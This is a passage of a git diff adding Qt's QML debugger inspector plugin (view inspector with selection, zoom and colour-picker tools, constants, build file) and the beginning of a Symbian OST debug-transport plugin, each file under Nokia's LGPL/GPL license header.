+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeviewinspector.h"
+#include "qdeclarativeviewinspector_p.h"
+
+#include "editor/liveselectiontool.h"
+#include "editor/zoomtool.h"
+#include "editor/colorpickertool.h"
+#include "editor/livelayeritem.h"
+#include "editor/boundingrecthighlighter.h"
+
+#include <QtDeclarative/QDeclarativeItem>
+#include <QtGui/QWidget>
+#include <QtGui/QMouseEvent>
+#include <QtGui/QGraphicsObject>
+
+namespace QmlJSDebugger {
+
+QDeclarativeViewInspectorPrivate::QDeclarativeViewInspectorPrivate(QDeclarativeViewInspector *q) :
+ q(q)
+{
+}
+
+QDeclarativeViewInspectorPrivate::~QDeclarativeViewInspectorPrivate()
+{
+}
+
+QDeclarativeViewInspector::QDeclarativeViewInspector(QDeclarativeView *view,
+ QObject *parent) :
+ AbstractViewInspector(parent),
+ data(new QDeclarativeViewInspectorPrivate(this))
+{
+ data->view = view;
+ data->manipulatorLayer = new LiveLayerItem(view->scene());
+ data->selectionTool = new LiveSelectionTool(this);
+ data->zoomTool = new ZoomTool(this);
+ data->colorPickerTool = new ColorPickerTool(this);
+ data->boundingRectHighlighter = new BoundingRectHighlighter(this);
+ setCurrentTool(data->selectionTool);
+
+ // to capture ChildRemoved event when viewport changes
+ data->view->installEventFilter(this);
+
+ data->setViewport(data->view->viewport());
+
+ connect(data->view, SIGNAL(statusChanged(QDeclarativeView::Status)),
+ data.data(), SLOT(_q_onStatusChanged(QDeclarativeView::Status)));
+
+ connect(data->colorPickerTool, SIGNAL(selectedColorChanged(QColor)),
+ SIGNAL(selectedColorChanged(QColor)));
+ connect(data->colorPickerTool, SIGNAL(selectedColorChanged(QColor)),
+ this, SLOT(sendColorChanged(QColor)));
+
+ changeTool(InspectorProtocol::SelectTool);
+}
+
+QDeclarativeViewInspector::~QDeclarativeViewInspector()
+{
+}
+
+void QDeclarativeViewInspector::changeCurrentObjects(const QList<QObject*> &objects)
+{
+ QList<QGraphicsItem*> items;
+ QList<QGraphicsObject*> gfxObjects;
+ foreach (QObject *obj, objects) {
+ if (QDeclarativeItem *declarativeItem = qobject_cast<QDeclarativeItem*>(obj)) {
+ items << declarativeItem;
+ gfxObjects << declarativeItem;
+ }
+ }
+ if (designModeBehavior()) {
+ data->setSelectedItemsForTools(items);
+ data->clearHighlight();
+ data->highlight(gfxObjects);
+ }
+}
+
+void QDeclarativeViewInspector::reloadView()
+{
+ data->clearHighlight();
+ emit reloadRequested();
+}
+
+void QDeclarativeViewInspector::changeTool(InspectorProtocol::Tool tool)
+{
+ switch (tool) {
+ case InspectorProtocol::ColorPickerTool:
+ data->changeToColorPickerTool();
+ break;
+ case InspectorProtocol::SelectMarqueeTool:
+ data->changeToMarqueeSelectTool();
+ break;
+ case InspectorProtocol::SelectTool:
+ data->changeToSingleSelectTool();
+ break;
+ case InspectorProtocol::ZoomTool:
+ data->changeToZoomTool();
+ break;
+ }
+}
+
+AbstractLiveEditTool *QDeclarativeViewInspector::currentTool() const
+{
+ return static_cast<AbstractLiveEditTool*>(AbstractViewInspector::currentTool());
+}
+
+QDeclarativeEngine *QDeclarativeViewInspector::declarativeEngine() const
+{
+ return data->view->engine();
+}
+
+void QDeclarativeViewInspectorPrivate::setViewport(QWidget *widget)
+{
+ if (viewport.data() == widget)
+ return;
+
+ if (viewport)
+ viewport.data()->removeEventFilter(q);
+
+ viewport = widget;
+ if (viewport) {
+ // make sure we get mouse move events
+ viewport.data()->setMouseTracking(true);
+ viewport.data()->installEventFilter(q);
+ }
+}
+
+void QDeclarativeViewInspectorPrivate::clearEditorItems()
+{
+ clearHighlight();
+ setSelectedItems(QList<QGraphicsItem*>());
+}
+
+bool QDeclarativeViewInspector::eventFilter(QObject *obj, QEvent *event)
+{
+ if (obj == data->view) {
+ // Event from view
+ if (event->type() == QEvent::ChildRemoved) {
+ // Might mean that viewport has changed
+ if (data->view->viewport() != data->viewport.data())
+ data->setViewport(data->view->viewport());
+ }
+ return QObject::eventFilter(obj, event);
+ }
+
+ return AbstractViewInspector::eventFilter(obj, event);
+}
+
+bool QDeclarativeViewInspector::leaveEvent(QEvent *event)
+{
+ data->clearHighlight();
+ return AbstractViewInspector::leaveEvent(event);
+}
+
+bool QDeclarativeViewInspector::mouseMoveEvent(QMouseEvent *event)
+{
+ QList<QGraphicsItem*> selItems = data->selectableItems(event->pos());
+ if (!selItems.isEmpty()) {
+ declarativeView()->setToolTip(currentTool()->titleForItem(selItems.first()));
+ } else {
+ declarativeView()->setToolTip(QString());
+ }
+
+ return AbstractViewInspector::mouseMoveEvent(event);
+}
+
+void QDeclarativeViewInspector::reparentQmlObject(QObject *object, QObject *newParent)
+{
+ if (!newParent)
+ return;
+
+ object->setParent(newParent);
+ QDeclarativeItem *newParentItem = qobject_cast<QDeclarativeItem*>(newParent);
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(object);
+ if (newParentItem && item)
+ item->setParentItem(newParentItem);
+}
+
+void QDeclarativeViewInspectorPrivate::_q_removeFromSelection(QObject *obj)
+{
+ QList<QGraphicsItem*> items = selectedItems();
+ if (QGraphicsItem *item = qobject_cast<QGraphicsObject*>(obj))
+ items.removeOne(item);
+ setSelectedItems(items);
+}
+
+void QDeclarativeViewInspectorPrivate::setSelectedItemsForTools(const QList<QGraphicsItem *> &items)
+{
+ foreach (const QWeakPointer<QGraphicsObject> &obj, currentSelection) {
+ if (QGraphicsItem *item = obj.data()) {
+ if (!items.contains(item)) {
+ QObject::disconnect(obj.data(), SIGNAL(destroyed(QObject*)),
+ this, SLOT(_q_removeFromSelection(QObject*)));
+ currentSelection.removeOne(obj);
+ }
+ }
+ }
+
+ foreach (QGraphicsItem *item, items) {
+ if (QGraphicsObject *obj = item->toGraphicsObject()) {
+ if (!currentSelection.contains(obj)) {
+ QObject::connect(obj, SIGNAL(destroyed(QObject*)),
+ this, SLOT(_q_removeFromSelection(QObject*)));
+ currentSelection.append(obj);
+ }
+ }
+ }
+
+ q->currentTool()->updateSelectedItems();
+}
+
+void QDeclarativeViewInspectorPrivate::setSelectedItems(const QList<QGraphicsItem *> &items)
+{
+ QList<QWeakPointer<QGraphicsObject> > oldList = currentSelection;
+ setSelectedItemsForTools(items);
+ if (oldList != currentSelection) {
+ QList<QObject*> objectList;
+ foreach (const QWeakPointer<QGraphicsObject> &graphicsObject, currentSelection) {
+ if (graphicsObject)
+ objectList << graphicsObject.data();
+ }
+
+ q->sendCurrentObjects(objectList);
+ }
+}
+
+QList<QGraphicsItem *> QDeclarativeViewInspectorPrivate::selectedItems() const
+{
+ QList<QGraphicsItem *> selection;
+ foreach (const QWeakPointer<QGraphicsObject> &selectedObject, currentSelection) {
+ if (selectedObject.data())
+ selection << selectedObject.data();
+ }
+
+ return selection;
+}
+
+void QDeclarativeViewInspector::setSelectedItems(QList<QGraphicsItem *> items)
+{
+ data->setSelectedItems(items);
+}
+
+QList<QGraphicsItem *> QDeclarativeViewInspector::selectedItems() const
+{
+ return data->selectedItems();
+}
+
+QDeclarativeView *QDeclarativeViewInspector::declarativeView() const
+{
+ return data->view;
+}
+
+void QDeclarativeViewInspectorPrivate::clearHighlight()
+{
+ boundingRectHighlighter->clear();
+}
+
+void QDeclarativeViewInspectorPrivate::highlight(const QList<QGraphicsObject *> &items)
+{
+ if (items.isEmpty())
+ return;
+
+ QList<QGraphicsObject*> objectList;
+ foreach (QGraphicsItem *item, items) {
+ QGraphicsItem *child = item;
+
+ if (child) {
+ QGraphicsObject *childObject = child->toGraphicsObject();
+ if (childObject)
+ objectList << childObject;
+ }
+ }
+
+ boundingRectHighlighter->highlight(objectList);
+}
+
+QList<QGraphicsItem*> QDeclarativeViewInspectorPrivate::selectableItems(
+ const QPointF &scenePos) const
+{
+ QList<QGraphicsItem*> itemlist = view->scene()->items(scenePos);
+ return filterForSelection(itemlist);
+}
+
+QList<QGraphicsItem*> QDeclarativeViewInspectorPrivate::selectableItems(const QPoint &pos) const
+{
+ QList<QGraphicsItem*> itemlist = view->items(pos);
+ return filterForSelection(itemlist);
+}
+
+QList<QGraphicsItem*> QDeclarativeViewInspectorPrivate::selectableItems(
+ const QRectF &sceneRect, Qt::ItemSelectionMode selectionMode) const
+{
+ QList<QGraphicsItem*> itemlist = view->scene()->items(sceneRect, selectionMode);
+ return filterForSelection(itemlist);
+}
+
+void QDeclarativeViewInspectorPrivate::changeToSingleSelectTool()
+{
+ selectionTool->setRubberbandSelectionMode(false);
+
+ changeToSelectTool();
+
+ emit q->selectToolActivated();
+ q->sendCurrentTool(Constants::SelectionToolMode);
+}
+
+void QDeclarativeViewInspectorPrivate::changeToSelectTool()
+{
+ if (q->currentTool() == selectionTool)
+ return;
+
+ q->currentTool()->clear();
+ q->setCurrentTool(selectionTool);
+ q->currentTool()->clear();
+ q->currentTool()->updateSelectedItems();
+}
+
+void QDeclarativeViewInspectorPrivate::changeToMarqueeSelectTool()
+{
+ changeToSelectTool();
+ selectionTool->setRubberbandSelectionMode(true);
+
+ emit q->marqueeSelectToolActivated();
+ q->sendCurrentTool(Constants::MarqueeSelectionToolMode);
+}
+
+void QDeclarativeViewInspectorPrivate::changeToZoomTool()
+{
+ q->currentTool()->clear();
+ q->setCurrentTool(zoomTool);
+ q->currentTool()->clear();
+
+ emit q->zoomToolActivated();
+ q->sendCurrentTool(Constants::ZoomMode);
+}
+
+void QDeclarativeViewInspectorPrivate::changeToColorPickerTool()
+{
+ if (q->currentTool() == colorPickerTool)
+ return;
+
+ q->currentTool()->clear();
+ q->setCurrentTool(colorPickerTool);
+ q->currentTool()->clear();
+
+ emit q->colorPickerActivated();
+ q->sendCurrentTool(Constants::ColorPickerMode);
+}
+
+
+static bool isEditorItem(QGraphicsItem *item)
+{
+ return (item->type() == Constants::EditorItemType
+ || item->type() == Constants::ResizeHandleItemType
+ || item->data(Constants::EditorItemDataKey).toBool());
+}
+
+QList<QGraphicsItem*> QDeclarativeViewInspectorPrivate::filterForSelection(
+ QList<QGraphicsItem*> &itemlist) const
+{
+ foreach (QGraphicsItem *item, itemlist) {
+ if (isEditorItem(item))
+ itemlist.removeOne(item);
+ }
+
+ return itemlist;
+}
+
+void QDeclarativeViewInspectorPrivate::_q_onStatusChanged(QDeclarativeView::Status status)
+{
+ if (status == QDeclarativeView::Ready)
+ q->sendReloaded();
+}
+
+// adjusts bounding boxes on edges of screen to be visible
+QRectF QDeclarativeViewInspector::adjustToScreenBoundaries(const QRectF &boundingRectInSceneSpace)
+{
+ int marginFromEdge = 1;
+ QRectF boundingRect(boundingRectInSceneSpace);
+ if (qAbs(boundingRect.left()) - 1 < 2)
+ boundingRect.setLeft(marginFromEdge);
+
+ QRect rect = data->view->rect();
+
+ if (boundingRect.right() >= rect.right())
+ boundingRect.setRight(rect.right() - marginFromEdge);
+
+ if (qAbs(boundingRect.top()) - 1 < 2)
+ boundingRect.setTop(marginFromEdge);
+
+ if (boundingRect.bottom() >= rect.bottom())
+ boundingRect.setBottom(rect.bottom() - marginFromEdge);
+
+ return boundingRect;
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector.h b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector.h
new file mode 100644
index 00000000..5fbf6c6a
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVIEWINSPECTOR_H
+#define QDECLARATIVEVIEWINSPECTOR_H
+
+#include <private/qdeclarativeglobal_p.h>
+
+#include "qmlinspectorconstants.h"
+#include "abstractviewinspector.h"
+
+#include <QtCore/QScopedPointer>
+#include <QtDeclarative/QDeclarativeView>
+
+namespace QmlJSDebugger {
+
+class AbstractLiveEditTool;
+class QDeclarativeViewInspectorPrivate;
+
+class QDeclarativeViewInspector : public AbstractViewInspector
+{
+ Q_OBJECT
+
+public:
+ explicit QDeclarativeViewInspector(QDeclarativeView *view, QObject *parent = 0);
+ ~QDeclarativeViewInspector();
+
+ // AbstractViewInspector
+ void changeCurrentObjects(const QList<QObject*> &objects);
+ void reloadView();
+ void reparentQmlObject(QObject *object, QObject *newParent);
+ void changeTool(InspectorProtocol::Tool tool);
+ QWidget *viewWidget() const { return declarativeView(); }
+ QDeclarativeEngine *declarativeEngine() const;
+
+ void setSelectedItems(QList<QGraphicsItem *> items);
+ QList<QGraphicsItem *> selectedItems() const;
+
+ QDeclarativeView *declarativeView() const;
+
+ QRectF adjustToScreenBoundaries(const QRectF &boundingRectInSceneSpace);
+
+protected:
+ bool eventFilter(QObject *obj, QEvent *event);
+
+ bool leaveEvent(QEvent *);
+ bool mouseMoveEvent(QMouseEvent *event);
+
+ AbstractLiveEditTool *currentTool() const;
+
+private:
+ Q_DISABLE_COPY(QDeclarativeViewInspector)
+
+ inline QDeclarativeViewInspectorPrivate *d_func() { return data.data(); }
+ QScopedPointer<QDeclarativeViewInspectorPrivate> data;
+ friend class QDeclarativeViewInspectorPrivate;
+ friend class AbstractLiveEditTool;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // QDECLARATIVEVIEWINSPECTOR_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector_p.h b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector_p.h
new file mode 100644
index 00000000..7093e4fc
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector_p.h
@@ -0,0 +1,117 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVIEWINSPECTOR_P_H
+#define QDECLARATIVEVIEWINSPECTOR_P_H
+
+#include "qdeclarativeviewinspector.h"
+
+#include <QtCore/QWeakPointer>
+#include <QtCore/QPointF>
+
+#include "QtDeclarative/private/qdeclarativeinspectorservice_p.h"
+
+namespace QmlJSDebugger {
+
+class QDeclarativeViewInspector;
+class LiveSelectionTool;
+class ZoomTool;
+class ColorPickerTool;
+class LiveLayerItem;
+class BoundingRectHighlighter;
+class AbstractLiveEditTool;
+
+class QDeclarativeViewInspectorPrivate : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeViewInspectorPrivate(QDeclarativeViewInspector *);
+ ~QDeclarativeViewInspectorPrivate();
+
+ QDeclarativeView *view;
+ QDeclarativeViewInspector *q;
+ QWeakPointer<QWidget> viewport;
+
+ QList<QWeakPointer<QGraphicsObject> > currentSelection;
+
+ LiveSelectionTool *selectionTool;
+ ZoomTool *zoomTool;
+ ColorPickerTool *colorPickerTool;
+ LiveLayerItem *manipulatorLayer;
+
+ BoundingRectHighlighter *boundingRectHighlighter;
+
+ void setViewport(QWidget *widget);
+
+ void clearEditorItems();
+ void changeToSelectTool();
+ QList<QGraphicsItem*> filterForSelection(QList<QGraphicsItem*> &itemlist) const;
+
+ QList<QGraphicsItem*> selectableItems(const QPoint &pos) const;
+ QList<QGraphicsItem*> selectableItems(const QPointF &scenePos) const;
+ QList<QGraphicsItem*> selectableItems(const QRectF &sceneRect, Qt::ItemSelectionMode selectionMode) const;
+
+ void setSelectedItemsForTools(const QList<QGraphicsItem *> &items);
+ void setSelectedItems(const QList<QGraphicsItem *> &items);
+ QList<QGraphicsItem *> selectedItems() const;
+
+ void clearHighlight();
+ void highlight(const QList<QGraphicsObject *> &item);
+ inline void highlight(QGraphicsObject *item)
+ { highlight(QList<QGraphicsObject*>() << item); }
+
+ void changeToSingleSelectTool();
+ void changeToMarqueeSelectTool();
+ void changeToZoomTool();
+ void changeToColorPickerTool();
+
+public slots:
+ void _q_onStatusChanged(QDeclarativeView::Status status);
+
+ void _q_removeFromSelection(QObject *);
+
+public:
+ static QDeclarativeViewInspectorPrivate *get(QDeclarativeViewInspector *v) { return v->d_func(); }
+};
+
+} // namespace QmlJSDebugger
+
+#endif // QDECLARATIVEVIEWINSPECTOR_P_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/qmldbg_inspector.pro b/src/plugins/qmltooling/qmldbg_inspector/qmldbg_inspector.pro
new file mode 100644
index 00000000..e441a781
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/qmldbg_inspector.pro
@@ -0,0 +1,49 @@
+TARGET = qmldbg_inspector
+QT += declarative
+
+include(../../qpluginbase.pri)
+
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/qmltooling
+QTDIR_build:REQUIRES += "contains(QT_CONFIG, declarative)"
+
+SOURCES += \
+ abstractviewinspector.cpp \
+ qdeclarativeinspectorplugin.cpp \
+ qdeclarativeviewinspector.cpp \
+ editor/abstractliveedittool.cpp \
+ editor/liveselectiontool.cpp \
+ editor/livelayeritem.cpp \
+ editor/livesingleselectionmanipulator.cpp \
+ editor/liverubberbandselectionmanipulator.cpp \
+ editor/liveselectionrectangle.cpp \
+ editor/liveselectionindicator.cpp \
+ editor/boundingrecthighlighter.cpp \
+ editor/subcomponentmasklayeritem.cpp \
+ editor/zoomtool.cpp \
+ editor/colorpickertool.cpp \
+ abstracttool.cpp
+
+HEADERS += \
+ abstractviewinspector.h \
+ qdeclarativeinspectorplugin.h \
+ qdeclarativeinspectorprotocol.h \
+ qdeclarativeviewinspector.h \
+ qdeclarativeviewinspector_p.h \
+ qmlinspectorconstants.h \
+ editor/abstractliveedittool.h \
+ editor/liveselectiontool.h \
+ editor/livelayeritem.h \
+ editor/livesingleselectionmanipulator.h \
+ editor/liverubberbandselectionmanipulator.h \
+ editor/liveselectionrectangle.h \
+ editor/liveselectionindicator.h \
+ editor/boundingrecthighlighter.h \
+ editor/subcomponentmasklayeritem.h \
+ editor/zoomtool.h \
+ editor/colorpickertool.h \
+ abstracttool.h
+
+target.path += $$[QT_INSTALL_PLUGINS]/qmltooling
+INSTALLS += target
+
+symbian:TARGET.UID3=0x20031E90
diff --git a/src/plugins/qmltooling/qmldbg_inspector/qmlinspectorconstants.h b/src/plugins/qmltooling/qmldbg_inspector/qmlinspectorconstants.h
new file mode 100644
index 00000000..7377bc65
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/qmlinspectorconstants.h
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMLINSPECTORCONSTANTS_H
+#define QMLINSPECTORCONSTANTS_H
+
+#include <QtDeclarative/private/qdeclarativeglobal_p.h>
+
+namespace QmlJSDebugger {
+namespace Constants {
+
+enum DesignTool {
+ NoTool = 0,
+ SelectionToolMode = 1,
+ MarqueeSelectionToolMode = 2,
+ MoveToolMode = 3,
+ ResizeToolMode = 4,
+ ColorPickerMode = 5,
+ ZoomMode = 6
+};
+
+static const int DragStartTime = 50;
+
+static const int DragStartDistance = 20;
+
+static const double ZoomSnapDelta = 0.04;
+
+static const int EditorItemDataKey = 1000;
+
+enum GraphicsItemTypes {
+ EditorItemType = 0xEAAA,
+ ResizeHandleItemType = 0xEAEA
+};
+
+
+} // namespace Constants
+} // namespace QmlJSDebugger
+
+#endif // QMLINSPECTORCONSTANTS_H
diff --git a/src/plugins/qmltooling/qmldbg_ost/qmldbg_ost.pro b/src/plugins/qmltooling/qmldbg_ost/qmldbg_ost.pro
new file mode 100644
index 00000000..27488894
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_ost/qmldbg_ost.pro
@@ -0,0 +1,21 @@
+TARGET = qmldbg_ost
+QT += declarative network
+
+include(../../qpluginbase.pri)
+
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/qmltooling
+QTDIR_build:REQUIRES += "contains(QT_CONFIG, declarative)"
+
+SOURCES += \
+ qmlostplugin.cpp \
+ qostdevice.cpp
+
+HEADERS += \
+ qmlostplugin.h \
+ qostdevice.h \
+ usbostcomm.h
+
+target.path += $$[QT_INSTALL_PLUGINS]/qmltooling
+INSTALLS += target
+
+symbian:TARGET.UID3=0x20031E92
diff --git a/src/plugins/qmltooling/qmldbg_ost/qmlostplugin.cpp b/src/plugins/qmltooling/qmldbg_ost/qmlostplugin.cpp
new file mode 100644
index 00000000..d999de43
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_ost/qmlostplugin.cpp
@@ -0,0 +1,149 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlostplugin.h"
+#include "qostdevice.h"
+
+#include <private/qdeclarativedebugserver_p.h>
+#include <private/qpacketprotocol_p.h>
+
+QT_BEGIN_NAMESPACE
+
+static const TInt KQmlOstProtocolId = 0x94;
+
+class QmlOstPluginPrivate {
+public:
+ QmlOstPluginPrivate();
+
+ QOstDevice *ost;
+ QPacketProtocol *protocol;
+ QDeclarativeDebugServer *debugServer;
+};
+
+QmlOstPluginPrivate::QmlOstPluginPrivate() :
+ ost(0),
+ protocol(0),
+ debugServer(0)
+{
+}
+
+QmlOstPlugin::QmlOstPlugin() :
+ d_ptr(new QmlOstPluginPrivate)
+{
+}
+
+QmlOstPlugin::~QmlOstPlugin()
+{
+ delete d_ptr;
+}
+
+void QmlOstPlugin::setServer(QDeclarativeDebugServer *server)
+{
+ Q_D(QmlOstPlugin);
+ d->debugServer = server;
+}
+
+bool QmlOstPlugin::isConnected() const
+{
+ Q_D(const QmlOstPlugin);
+ return d->ost && d->ost->isOpen();
+}
+
+void QmlOstPlugin::send(const QByteArray &message)
+{
+ Q_D(QmlOstPlugin);
+
+ if (!isConnected())
+ return;
+
+ QPacket pack;
+ pack.writeRawData(message.data(), message.length());
+
+ d->protocol->send(pack);
+ //d->socket->flush();
+}
+
+void QmlOstPlugin::disconnect()
+{
+ Q_D(QmlOstPlugin);
+
+ delete d->protocol;
+ d->protocol = 0;
+}
+
+bool QmlOstPlugin::waitForMessage()
+{
+ Q_D(QmlOstPlugin);
+ return d->protocol->waitForReadyRead(-1);
+}
+
+void QmlOstPlugin::setPort(int port, bool block)
+{
+ Q_UNUSED(port);
+ Q_UNUSED(block);
+
+ Q_D(QmlOstPlugin);
+
+ d->ost = new QOstDevice(this);
+ bool ok = d->ost->open(KQmlOstProtocolId);
+ if (!ok) {
+ if (d->ost->errorString().length())
+ qDebug("Error from QOstDevice: %s", qPrintable(d->ost->errorString()));
+ qWarning("QDeclarativeDebugServer: Unable to listen on OST"); // This message is part of the signalling - do not change the format!
+ return;
+ }
+ d->protocol = new QPacketProtocol(d->ost, this);
+ QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
+ qWarning("QDeclarativeDebugServer: Waiting for connection via OST"); // This message is part of the signalling - do not change the format!
+}
+
+void QmlOstPlugin::readyRead()
+{
+ Q_D(QmlOstPlugin);
+ QPacket packet = d->protocol->read();
+
+ QByteArray content = packet.data();
+ d->debugServer->receiveMessage(content);
+}
+
+Q_EXPORT_PLUGIN2(qmlostplugin, QmlOstPlugin)
+
+QT_END_NAMESPACE
diff --git a/src/plugins/qmltooling/qmldbg_ost/qmlostplugin.h b/src/plugins/qmltooling/qmldbg_ost/qmlostplugin.h
new file mode 100644
index 00000000..dc32e2e7
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_ost/qmlostplugin.h
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
